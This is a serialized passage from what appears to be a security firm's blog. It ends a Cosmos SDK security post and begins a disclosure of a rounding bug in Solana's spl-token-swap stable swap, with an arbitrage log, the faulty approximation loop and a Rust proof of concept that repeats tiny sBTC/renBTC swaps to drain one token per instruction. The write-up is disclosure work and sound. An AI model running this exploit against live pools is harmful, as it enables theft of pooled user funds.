",{"type":23,"tag":940,"props":14105,"children":14108},{"href":14106,"rel":14107},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[944],[14109],{"type":29,"value":14110},"collections",{"type":29,"value":14112}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":23,"tag":24,"props":14114,"children":14116},{"id":14115},"conclusion",[14117],{"type":29,"value":14118},"Conclusion",{"type":23,"tag":32,"props":14120,"children":14121},{},[14122],{"type":29,"value":14123},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":23,"tag":32,"props":14125,"children":14126},{},[14127],{"type":29,"value":14128},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":23,"tag":14130,"props":14131,"children":14132},"style",{},[14133],{"type":29,"value":14134},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":100,"depth":100,"links":14136},[14137,14138,14141,14144,14147,14150,14153,14156],{"id":26,"depth":100,"text":30},{"id":44,"depth":100,"text":47,"children":14139},[14140],{"id":925,"depth":121,"text":928},{"id":1559,"depth":100,"text":1562,"children":14142},[14143],{"id":2223,"depth":121,"text":928},{"id":2732,"depth":100,"text":2735,"children":14145},[14146],{"id":4059,"depth":121,"text":928},{"id":5436,"depth":100,"text":5439,"children":14148},[14149],{"id":5977,"depth":121,"text":928},{"id":7507,"depth":100,"text":7510,"children":14151},[14152],{"id":8392,"depth":121,"text":928},{"id":9351,"depth":100,"text":9354,"children":14154},[14155],{"id":13792,"depth":121,"text":928},{"id":14115,"depth":100,"text":14118},"markdown","content:blog:2025-06-10-cosmos-security.md","content","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security","md",[14164,16651,16987,20510,24859,29968,40200,41628,42391,46616,51637,57066,58223,61705,72094,78817,80652,82360,87024,100086,102807,107596,110036,112381,118167,133987,142287,152211,157489,166882,169219],{"_path":14165,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":14166,"description":14167,"image":14168,"date":14172,"isFeatured":15,"tags":14173,"onBlogPage":15,"body":14176,"_type":14157,"_id":16648,"_source":14159,"_file":16649,"_stem":16650,"_extension":14162},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":14169,"width":14170,"height":14171},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[14174,14175],"solana","report",{"type":20,"children":14177,"toc":16642},[14178,14192,14197,14202,14210,14216,14221,14226,14234,14242,14247,14252,14260,14265,14270,14635,14645,14650,15172,15177,15185,15193,15199,15204,15209,15214,15221,15233,15238,15250,15488,15493,15498,15504,15509,15514,15560,15565,15573,15578,15583,15588,15732,15745,15857,15871,15879,15893,15901,15914,15919,15931,15939,15961,16579,16585,16590,16603,16616,16623,16628,16633,16638],{"type":23,"tag":32,"props":14179,"children":14180},{},[14181,14183,14190],{"type":29,"value":14182},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":23,"tag":940,"props":14184,"children":14187},{"href":14185,"rel":14186},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[944],[14188],{"type":29,"value":14189},"spl-token-swap",{"type":29,"value":14191},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":23,"tag":32,"props":14193,"children":14194},{},[14195],{"type":29,"value":14196},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":23,"tag":32,"props":14198,"children":14199},{},[14200],{"type":29,"value":14201},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":23,"tag":32,"props":14203,"children":14204},{},[14205],{"type":23,"tag":9690,"props":14206,"children":14207},{},[14208],{"type":29,"value":14209},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":23,"tag":24,"props":14211,"children":14213},{"id":14212},"discovery",[14214],{"type":29,"value":14215},"Discovery",{"type":23,"tag":32,"props":14217,"children":14218},{},[14219],{"type":29,"value":14220},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":23,"tag":32,"props":14222,"children":14223},{},[14224],{"type":29,"value":14225},"After a while, he noticed something weird..",{"type":23,"tag":1829,"props":14227,"children":14228},{},[14229],{"type":23,"tag":32,"props":14230,"children":14231},{},[14232],{"type":29,"value":14233},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":23,"tag":64,"props":14235,"children":14237},{"code":14236},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[14238],{"type":23,"tag":71,"props":14239,"children":14240},{"__ignoreMap":7},[14241],{"type":29,"value":14236},{"type":23,"tag":32,"props":14243,"children":14244},{},[14245],{"type":29,"value":14246},"Somehow, we were getting tokens from nothing?",{"type":23,"tag":32,"props":14248,"children":14249},{},[14250],{"type":29,"value":14251},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":23,"tag":64,"props":14253,"children":14255},{"code":14254},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[14256],{"type":23,"tag":71,"props":14257,"children":14258},{"__ignoreMap":7},[14259],{"type":29,"value":14254},{"type":23,"tag":32,"props":14261,"children":14262},{},[14263],{"type":29,"value":14264},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":23,"tag":32,"props":14266,"children":14267},{},[14268],{"type":29,"value":14269},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":23,"tag":64,"props":14271,"children":14273},{"code":14272,"language":986,"meta":7,"className":987,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[14274],{"type":23,"tag":71,"props":14275,"children":14276},{"__ignoreMap":7},[14277,14285,14315,14345,14445,14550,14574,14586,14601,14621,14628],{"type":23,"tag":75,"props":14278,"children":14279},{"class":77,"line":78},[14280],{"type":23,"tag":75,"props":14281,"children":14282},{"style":3621},[14283],{"type":29,"value":14284},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":75,"props":14286,"children":14287},{"class":77,"line":100},[14288,14292,14297,14302,14306,14311],{"type":23,"tag":75,"props":14289,"children":14290},{"style":82},[14291],{"type":29,"value":1183},{"type":23,"tag":75,"props":14293,"children":14294},{"style":82},[14295],{"type":29,"value":14296}," mut",{"type":23,"tag":75,"props":14298,"children":14299},{"style":110},[14300],{"type":29,"value":14301}," y",{"type":23,"tag":75,"props":14303,"children":14304},{"style":209},[14305],{"type":29,"value":1193},{"type":23,"tag":75,"props":14307,"children":14308},{"style":110},[14309],{"type":29,"value":14310}," d_val",{"type":23,"tag":75,"props":14312,"children":14313},{"style":94},[14314],{"type":29,"value":245},{"type":23,"tag":75,"props":14316,"children":14317},{"class":77,"line":121},[14318,14322,14326,14331,14335,14340],{"type":23,"tag":75,"props":14319,"children":14320},{"style":175},[14321],{"type":29,"value":711},{"type":23,"tag":75,"props":14323,"children":14324},{"style":110},[14325],{"type":29,"value":2062},{"type":23,"tag":75,"props":14327,"children":14328},{"style":82},[14329],{"type":29,"value":14330}," in",{"type":23,"tag":75,"props":14332,"children":14333},{"style":237},[14334],{"type":29,"value":240},{"type":23,"tag":75,"props":14336,"children":14337},{"style":209},[14338],{"type":29,"value":14339},"..",{"type":23,"tag":75,"props":14341,"children":14342},{"style":94},[14343],{"type":29,"value":14344},"ITERATIONS {\n",{"type":23,"tag":75,"props":14346,"children":14347},{"class":77,"line":138},[14348,14353,14357,14362,14366,14371,14375,14379,14383,14388,14392,14396,14401,14405,14410,14414,14419,14424,14428,14433,14437,14441],{"type":23,"tag":75,"props":14349,"children":14350},{"style":82},[14351],{"type":29,"value":14352},"        let",{"type":23,"tag":75,"props":14354,"children":14355},{"style":94},[14356],{"type":29,"value":183},{"type":23,"tag":75,"props":14358,"children":14359},{"style":110},[14360],{"type":29,"value":14361},"y_new",{"type":23,"tag":75,"props":14363,"children":14364},{"style":94},[14365],{"type":29,"value":611},{"type":23,"tag":75,"props":14367,"children":14368},{"style":110},[14369],{"type":29,"value":14370},"_",{"type":23,"tag":75,"props":14372,"children":14373},{"style":94},[14374],{"type":29,"value":167},{"type":23,"tag":75,"props":14376,"children":14377},{"style":209},[14378],{"type":29,"value":212},{"type":23,"tag":75,"props":14380,"children":14381},{"style":94},[14382],{"type":29,"value":183},{"type":23,"tag":75,"props":14384,"children":14385},{"style":88},[14386],{"type":29,"value":14387},"checked_u8_power",{"type":23,"tag":75,"props":14389,"children":14390},{"style":94},[14391],{"type":29,"value":643},{"type":23,"tag":75,"props":14393,"children":14394},{"style":209},[14395],{"type":29,"value":1277},{"type":23,"tag":75,"props":14397,"children":14398},{"style":110},[14399],{"type":29,"value":14400},"y",{"type":23,"tag":75,"props":14402,"children":14403},{"style":94},[14404],{"type":29,"value":611},{"type":23,"tag":75,"props":14406,"children":14407},{"style":237},[14408],{"type":29,"value":14409},"2",{"type":23,"tag":75,"props":14411,"children":14412},{"style":94},[14413],{"type":29,"value":1347},{"type":23,"tag":75,"props":14415,"children":14416},{"style":209},[14417],{"type":29,"value":14418},"?.",{"type":23,"tag":75,"props":14420,"children":14421},{"style":88},[14422],{"type":29,"value":14423},"checked_add",{"type":23,"tag":75,"props":14425,"children":14426},{"style":94},[14427],{"type":29,"value":643},{"type":23,"tag":75,"props":14429,"children":14430},{"style":110},[14431],{"type":29,"value":14432},"c",{"type":23,"tag":75,"props":14434,"children":14435},{"style":94},[14436],{"type":29,"value":1347},{"type":23,"tag":75,"props":14438,"children":14439},{"style":209},[14440],{"type":29,"value":1225},{"type":23,"tag":75,"props":14442,"children":14443},{"style":94},[14444],{"type":29,"value":653},{"type":23,"tag":75,"props":14446,"children":14447},{"class":77,"line":161},[14448,14453,14458,14462,14467,14471,14475,14479,14483,14487,14491,14495,14499,14503,14508,14512,14516,14521,14525,14530,14534,14538,14542,14546],{"type":23,"tag":75,"props":14449,"children":14450},{"style":209},[14451],{"type":29,"value":14452},"            .",{"type":23,"tag":75,"props":14454,"children":14455},{"style":88},[14456],{"type":29,"value":14457},"checked_ceil_div",{"type":23,"tag":75,"props":14459,"children":14460},{"style":94},[14461],{"type":29,"value":643},{"type":23,"tag":75,"props":14463,"children":14464},{"style":88},[14465],{"type":29,"value":14466},"checked_u8_mul",{"type":23,"tag":75,"props":14468,"children":14469},{"style":94},[14470],{"type":29,"value":643},{"type":23,"tag":75,"props":14472,"children":14473},{"style":209},[14474],{"type":29,"value":1277},{"type":23,"tag":75,"props":14476,"children":14477},{"style":110},[14478],{"type":29,"value":14400},{"type":23,"tag":75,"props":14480,"children":14481},{"style":94},[14482],{"type":29,"value":611},{"type":23,"tag":75,"props":14484,"children":14485},{"style":237},[14486],{"type":29,"value":14409},{"type":23,"tag":75,"props":14488,"children":14489},{"style":94},[14490],{"type":29,"value":1347},{"type":23,"tag":75,"props":14492,"children":14493},{"style":209},[14494],{"type":29,"value":14418},{"type":23,"tag":75,"props":14496,"children":14497},{"style":88},[14498],{"type":29,"value":14423},{"type":23,"tag":75,"props":14500,"children":14501},{"style":94},[14502],{"type":29,"value":643},{"type":23,"tag":75,"props":14504,"children":14505},{"style":110},[14506],{"type":29,"value":14507},"b",{"type":23,"tag":75,"props":14509,"children":14510},{"style":94},[14511],{"type":29,"value":1347},{"type":23,"tag":75,"props":14513,"children":14514},{"style":209},[14515],{"type":29,"value":14418},{"type":23,"tag":75,"props":14517,"children":14518},{"style":88},[14519],{"type":29,"value":14520},"checked_sub",{"type":23,"tag":75,"props":14522,"children":14523},{"style":94},[14524],{"type":29,"value":643},{"type":23,"tag":75,"props":14526,"children":14527},{"style":110},[14528],{"type":29,"value":14529},"d_val",{"type":23,"tag":75,"props":14531,"children":14532},{"style":94},[14533],{"type":29,"value":1347},{"type":23,"tag":75,"props":14535,"children":14536},{"style":209},[14537],{"type":29,"value":1225},{"type":23,"tag":75,"props":14539,"children":14540},{"style":94},[14541],{"type":29,"value":1347},{"type":23,"tag":75,"props":14543,"children":14544},{"style":209},[14545],{"type":29,"value":1225},{"type":23,"tag":75,"props":14547,"children":14548},{"style":94},[14549],{"type":29,"value":245},{"type":23,"tag":75,"props":14551,"children":14552},{"class":77,"line":196},[14553,14557,14562,14566,14570],{"type":23,"tag":75,"props":14554,"children":14555},{"style":175},[14556],{"type":29,"value":2445},{"type":23,"tag":75,"props":14558,"children":14559},{"style":110},[14560],{"type":29,"value":14561}," y_new",{"type":23,"tag":75,"props":14563,"children":14564},{"style":209},[14565],{"type":29,"value":1372},{"type":23,"tag":75,"props":14567,"children":14568},{"style":110},[14569],{"type":29,"value":14301},{"type":23,"tag":75,"props":14571,"children":14572},{"style":94},[14573],{"type":29,"value":401},{"type":23,"tag":75,"props":14575,"children":14576},{"class":77,"line":220},[14577,14582],{"type":23,"tag":75,"props":14578,"children":14579},{"style":175},[14580],{"type":29,"value":14581},"            break",{"type":23,"tag":75,"props":14583,"children":14584},{"style":94},[14585],{"type":29,"value":245},{"type":23,"tag":75,"props":14587,"children":14588},{"class":77,"line":248},[14589,14593,14597],{"type":23,"tag":75,"props":14590,"children":14591},{"style":94},[14592],{"type":29,"value":6873},{"type":23,"tag":75,"props":14594,"children":14595},{"style":175},[14596],{"type":29,"value":6878},{"type":23,"tag":75,"props":14598,"children":14599},{"style":94},[14600],{"type":29,"value":401},{"type":23,"tag":75,"props":14602,"children":14603},{"class":77,"line":270},[14604,14609,14613,14617],{"type":23,"tag":75,"props":14605,"children":14606},{"style":110},[14607],{"type":29,"value":14608},"            y",{"type":23,"tag":75,"props":14610,"children":14611},{"style":209},[14612],{"type":29,"value":1193},{"type":23,"tag":75,"props":14614,"children":14615},{"style":110},[14616],{"type":29,"value":14561},{"type":23,"tag":75,"props":14618,"children":14619},{"style":94},[14620],{"type":29,"value":245},{"type":23,"tag":75,"props":14622,"children":14623},{"class":77,"line":279},[14624],{"type":23,"tag":75,"props":14625,"children":14626},{"style":94},[14627],{"type":29,"value":2503},{"type":23,"tag":75,"props":14629,"children":14630},{"class":77,"line":303},[14631],{"type":23,"tag":75,"props":14632,"children":14633},{"style":94},[14634],{"type":29,"value":346},{"type":23,"tag":32,"props":14636,"children":14637},{},[14638,14643],{"type":23,"tag":9690,"props":14639,"children":14640},{},[14641],{"type":29,"value":14642},"approximate",{"type":29,"value":14644},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":23,"tag":32,"props":14646,"children":14647},{},[14648],{"type":29,"value":14649},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":23,"tag":64,"props":14651,"children":14653},{"code":14652,"language":986,"meta":7,"className":987,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[14654],{"type":23,"tag":71,"props":14655,"children":14656},{"__ignoreMap":7},[14657,14665,14703,14711,14740,14766,14782,14798,14823,14839,14855,14871,14887,14903,14915,14923,14945,14952,14960,15026,15033,15062,15069,15100,15107,15165],{"type":23,"tag":75,"props":14658,"children":14659},{"class":77,"line":78},[14660],{"type":23,"tag":75,"props":14661,"children":14662},{"style":3621},[14663],{"type":29,"value":14664},"// from sbtc to renbtc\n",{"type":23,"tag":75,"props":14666,"children":14667},{"class":77,"line":100},[14668,14673,14677,14681,14685,14690,14695,14699],{"type":23,"tag":75,"props":14669,"children":14670},{"style":175},[14671],{"type":29,"value":14672},"for",{"type":23,"tag":75,"props":14674,"children":14675},{"style":110},[14676],{"type":29,"value":3261},{"type":23,"tag":75,"props":14678,"children":14679},{"style":82},[14680],{"type":29,"value":14330},{"type":23,"tag":75,"props":14682,"children":14683},{"style":237},[14684],{"type":29,"value":240},{"type":23,"tag":75,"props":14686,"children":14687},{"style":209},[14688],{"type":29,"value":14689}," ..",{"type":23,"tag":75,"props":14691,"children":14692},{"style":237},[14693],{"type":29,"value":14694}," 50",{"type":23,"tag":75,"props":14696,"children":14697},{"style":104},[14698],{"type":29,"value":1139},{"type":23,"tag":75,"props":14700,"children":14701},{"style":94},[14702],{"type":29,"value":401},{"type":23,"tag":75,"props":14704,"children":14705},{"class":77,"line":121},[14706],{"type":23,"tag":75,"props":14707,"children":14708},{"style":3621},[14709],{"type":29,"value":14710},"    // create swap transaction\n",{"type":23,"tag":75,"props":14712,"children":14713},{"class":77,"line":138},[14714,14718,14722,14727,14731,14736],{"type":23,"tag":75,"props":14715,"children":14716},{"style":82},[14717],{"type":29,"value":1183},{"type":23,"tag":75,"props":14719,"children":14720},{"style":82},[14721],{"type":29,"value":14296},{"type":23,"tag":75,"props":14723,"children":14724},{"style":110},[14725],{"type":29,"value":14726}," swap_instruction",{"type":23,"tag":75,"props":14728,"children":14729},{"style":209},[14730],{"type":29,"value":1193},{"type":23,"tag":75,"props":14732,"children":14733},{"style":88},[14734],{"type":29,"value":14735}," swap",{"type":23,"tag":75,"props":14737,"children":14738},{"style":94},[14739],{"type":29,"value":97},{"type":23,"tag":75,"props":14741,"children":14742},{"class":77,"line":161},[14743,14748,14753,14757,14762],{"type":23,"tag":75,"props":14744,"children":14745},{"style":209},[14746],{"type":29,"value":14747},"        &",{"type":23,"tag":75,"props":14749,"children":14750},{"style":94},[14751],{"type":29,"value":14752},"spl_token",{"type":23,"tag":75,"props":14754,"children":14755},{"style":209},[14756],{"type":29,"value":1407},{"type":23,"tag":75,"props":14758,"children":14759},{"style":88},[14760],{"type":29,"value":14761},"id",{"type":23,"tag":75,"props":14763,"children":14764},{"style":94},[14765],{"type":29,"value":2580},{"type":23,"tag":75,"props":14767,"children":14768},{"class":77,"line":196},[14769,14773,14778],{"type":23,"tag":75,"props":14770,"children":14771},{"style":209},[14772],{"type":29,"value":14747},{"type":23,"tag":75,"props":14774,"children":14775},{"style":110},[14776],{"type":29,"value":14777},"swap_pubkey",{"type":23,"tag":75,"props":14779,"children":14780},{"style":94},[14781],{"type":29,"value":118},{"type":23,"tag":75,"props":14783,"children":14784},{"class":77,"line":220},[14785,14789,14794],{"type":23,"tag":75,"props":14786,"children":14787},{"style":209},[14788],{"type":29,"value":14747},{"type":23,"tag":75,"props":14790,"children":14791},{"style":110},[14792],{"type":29,"value":14793},"swap_authority_pubkey",{"type":23,"tag":75,"props":14795,"children":14796},{"style":94},[14797],{"type":29,"value":118},{"type":23,"tag":75,"props":14799,"children":14800},{"class":77,"line":248},[14801,14805,14810,14814,14819],{"type":23,"tag":75,"props":14802,"children":14803},{"style":209},[14804],{"type":29,"value":14747},{"type":23,"tag":75,"props":14806,"children":14807},{"style":110},[14808],{"type":29,"value":14809},"test_account_signer",{"type":23,"tag":75,"props":14811,"children":14812},{"style":209},[14813],{"type":29,"value":557},{"type":23,"tag":75,"props":14815,"children":14816},{"style":88},[14817],{"type":29,"value":14818},"pubkey",{"type":23,"tag":75,"props":14820,"children":14821},{"style":94},[14822],{"type":29,"value":2580},{"type":23,"tag":75,"props":14824,"children":14825},{"class":77,"line":270},[14826,14830,14835],{"type":23,"tag":75,"props":14827,"children":14828},{"style":209},[14829],{"type":29,"value":14747},{"type":23,"tag":75,"props":14831,"children":14832},{"style":110},[14833],{"type":29,"value":14834},"sbtc_user_account",{"type":23,"tag":75,"props":14836,"children":14837},{"style":94},[14838],{"type":29,"value":118},{"type":23,"tag":75,"props":14840,"children":14841},{"class":77,"line":279},[14842,14846,14851],{"type":23,"tag":75,"props":14843,"children":14844},{"style":209},[14845],{"type":29,"value":14747},{"type":23,"tag":75,"props":14847,"children":14848},{"style":110},[14849],{"type":29,"value":14850},"sbtc_reserve",{"type":23,"tag":75,"props":14852,"children":14853},{"style":94},[14854],{"type":29,"value":118},{"type":23,"tag":75,"props":14856,"children":14857},{"class":77,"line":303},[14858,14862,14867],{"type":23,"tag":75,"props":14859,"children":14860},{"style":209},[14861],{"type":29,"value":14747},{"type":23,"tag":75,"props":14863,"children":14864},{"style":110},[14865],{"type":29,"value":14866},"renbtc_reserve",{"type":23,"tag":75,"props":14868,"children":14869},{"style":94},[14870],{"type":29,"value":118},{"type":23,"tag":75,"props":14872,"children":14873},{"class":77,"line":322},[14874,14878,14883],{"type":23,"tag":75,"props":14875,"children":14876},{"style":209},[14877],{"type":29,"value":14747},{"type":23,"tag":75,"props":14879,"children":14880},{"style":110},[14881],{"type":29,"value":14882},"renbtc_user_account",{"type":23,"tag":75,"props":14884,"children":14885},{"style":94},[14886],{"type":29,"value":118},{"type":23,"tag":75,"props":14888,"children":14889},{"class":77,"line":340},[14890,14894,14899],{"type":23,"tag":75,"props":14891,"children":14892},{"style":209},[14893],{"type":29,"value":14747},{"type":23,"tag":75,"props":14895,"children":14896},{"style":110},[14897],{"type":29,"value":14898},"admin_fee_account_sbtc_to_ren",{"type":23,"tag":75,"props":14900,"children":14901},{"style":94},[14902],{"type":29,"value":118},{"type":23,"tag":75,"props":14904,"children":14905},{"class":77,"line":349},[14906,14911],{"type":23,"tag":75,"props":14907,"children":14908},{"style":237},[14909],{"type":29,"value":14910},"        1",{"type":23,"tag":75,"props":14912,"children":14913},{"style":94},[14914],{"type":29,"value":118},{"type":23,"tag":75,"props":14916,"children":14917},{"class":77,"line":363},[14918],{"type":23,"tag":75,"props":14919,"children":14920},{"style":237},[14921],{"type":29,"value":14922},"        2\n",{"type":23,"tag":75,"props":14924,"children":14925},{"class":77,"line":656},[14926,14931,14935,14940],{"type":23,"tag":75,"props":14927,"children":14928},{"style":94},[14929],{"type":29,"value":14930},"    )",{"type":23,"tag":75,"props":14932,"children":14933},{"style":209},[14934],{"type":29,"value":557},{"type":23,"tag":75,"props":14936,"children":14937},{"style":88},[14938],{"type":29,"value":14939},"unwrap",{"type":23,"tag":75,"props":14941,"children":14942},{"style":94},[14943],{"type":29,"value":14944},"();\n",{"type":23,"tag":75,"props":14946,"children":14947},{"class":77,"line":705},[14948],{"type":23,"tag":75,"props":14949,"children":14950},{"emptyLinePlaceholder":15},[14951],{"type":29,"value":276},{"type":23,"tag":75,"props":14953,"children":14954},{"class":77,"line":787},[14955],{"type":23,"tag":75,"props":14956,"children":14957},{"style":3621},[14958],{"type":29,"value":14959},"    // nonce\n",{"type":23,"tag":75,"props":14961,"children":14962},{"class":77,"line":826},[14963,14968,14972,14977,14981,14986,14990,14994,14999,15004,15008,15012,15016,15021],{"type":23,"tag":75,"props":14964,"children":14965},{"style":110},[14966],{"type":29,"value":14967},"    swap_instruction",{"type":23,"tag":75,"props":14969,"children":14970},{"style":209},[14971],{"type":29,"value":557},{"type":23,"tag":75,"props":14973,"children":14974},{"style":94},[14975],{"type":29,"value":14976},"data",{"type":23,"tag":75,"props":14978,"children":14979},{"style":209},[14980],{"type":29,"value":557},{"type":23,"tag":75,"props":14982,"children":14983},{"style":88},[14984],{"type":29,"value":14985},"append",{"type":23,"tag":75,"props":14987,"children":14988},{"style":94},[14989],{"type":29,"value":643},{"type":23,"tag":75,"props":14991,"children":14992},{"style":209},[14993],{"type":29,"value":1277},{"type":23,"tag":75,"props":14995,"children":14996},{"style":82},[14997],{"type":29,"value":14998},"mut",{"type":23,"tag":75,"props":15000,"children":15001},{"style":88},[15002],{"type":29,"value":15003}," vec!",{"type":23,"tag":75,"props":15005,"children":15006},{"style":94},[15007],{"type":29,"value":814},{"type":23,"tag":75,"props":15009,"children":15010},{"style":110},[15011],{"type":29,"value":12935},{"type":23,"tag":75,"props":15013,"children":15014},{"style":94},[15015],{"type":29,"value":611},{"type":23,"tag":75,"props":15017,"children":15018},{"style":110},[15019],{"type":29,"value":15020},"extranonce",{"type":23,"tag":75,"props":15022,"children":15023},{"style":94},[15024],{"type":29,"value":15025},"]);\n",{"type":23,"tag":75,"props":15027,"children":15028},{"class":77,"line":834},[15029],{"type":23,"tag":75,"props":15030,"children":15031},{"emptyLinePlaceholder":15},[15032],{"type":29,"value":276},{"type":23,"tag":75,"props":15034,"children":15035},{"class":77,"line":881},[15036,15040,15044,15049,15053,15057],{"type":23,"tag":75,"props":15037,"children":15038},{"style":82},[15039],{"type":29,"value":1183},{"type":23,"tag":75,"props":15041,"children":15042},{"style":82},[15043],{"type":29,"value":14296},{"type":23,"tag":75,"props":15045,"children":15046},{"style":110},[15047],{"type":29,"value":15048}," instructions",{"type":23,"tag":75,"props":15050,"children":15051},{"style":209},[15052],{"type":29,"value":1193},{"type":23,"tag":75,"props":15054,"children":15055},{"style":88},[15056],{"type":29,"value":15003},{"type":23,"tag":75,"props":15058,"children":15059},{"style":94},[15060],{"type":29,"value":15061},"[];\n",{"type":23,"tag":75,"props":15063,"children":15064},{"class":77,"line":3355},[15065],{"type":23,"tag":75,"props":15066,"children":15067},{"emptyLinePlaceholder":15},[15068],{"type":29,"value":276},{"type":23,"tag":75,"props":15070,"children":15071},{"class":77,"line":3390},[15072,15077,15081,15086,15090,15095],{"type":23,"tag":75,"props":15073,"children":15074},{"style":110},[15075],{"type":29,"value":15076},"    instructions",{"type":23,"tag":75,"props":15078,"children":15079},{"style":209},[15080],{"type":29,"value":557},{"type":23,"tag":75,"props":15082,"children":15083},{"style":88},[15084],{"type":29,"value":15085},"push",{"type":23,"tag":75,"props":15087,"children":15088},{"style":94},[15089],{"type":29,"value":643},{"type":23,"tag":75,"props":15091,"children":15092},{"style":110},[15093],{"type":29,"value":15094},"swap_instruction",{"type":23,"tag":75,"props":15096,"children":15097},{"style":94},[15098],{"type":29,"value":15099},");\n",{"type":23,"tag":75,"props":15101,"children":15102},{"class":77,"line":3423},[15103],{"type":23,"tag":75,"props":15104,"children":15105},{"emptyLinePlaceholder":15},[15106],{"type":29,"value":276},{"type":23,"tag":75,"props":15108,"children":15109},{"class":77,"line":3436},[15110,15114,15118,15123,15127,15131,15136,15140,15144,15149,15153,15157,15161],{"type":23,"tag":75,"props":15111,"children":15112},{"style":110},[15113],{"type":29,"value":1072},{"type":23,"tag":75,"props":15115,"children":15116},{"style":209},[15117],{"type":29,"value":557},{"type":23,"tag":75,"props":15119,"children":15120},{"style":88},[15121],{"type":29,"value":15122},"execute_as_transaction",{"type":23,"tag":75,"props":15124,"children":15125},{"style":94},[15126],{"type":29,"value":643},{"type":23,"tag":75,"props":15128,"children":15129},{"style":209},[15130],{"type":29,"value":1277},{"type":23,"tag":75,"props":15132,"children":15133},{"style":110},[15134],{"type":29,"value":15135},"instructions",{"type":23,"tag":75,"props":15137,"children":15138},{"style":94},[15139],{"type":29,"value":611},{"type":23,"tag":75,"props":15141,"children":15142},{"style":209},[15143],{"type":29,"value":1277},{"type":23,"tag":75,"props":15145,"children":15146},{"style":88},[15147],{"type":29,"value":15148},"vec!",{"type":23,"tag":75,"props":15150,"children":15151},{"style":94},[15152],{"type":29,"value":814},{"type":23,"tag":75,"props":15154,"children":15155},{"style":209},[15156],{"type":29,"value":1277},{"type":23,"tag":75,"props":15158,"children":15159},{"style":110},[15160],{"type":29,"value":14809},{"type":23,"tag":75,"props":15162,"children":15163},{"style":94},[15164],{"type":29,"value":15025},{"type":23,"tag":75,"props":15166,"children":15167},{"class":77,"line":3449},[15168],{"type":23,"tag":75,"props":15169,"children":15170},{"style":94},[15171],{"type":29,"value":369},{"type":23,"tag":32,"props":15173,"children":15174},{},[15175],{"type":29,"value":15176},"It works!",{"type":23,"tag":1829,"props":15178,"children":15179},{},[15180],{"type":23,"tag":32,"props":15181,"children":15182},{},[15183],{"type":29,"value":15184},"holy shit\nyea, this is 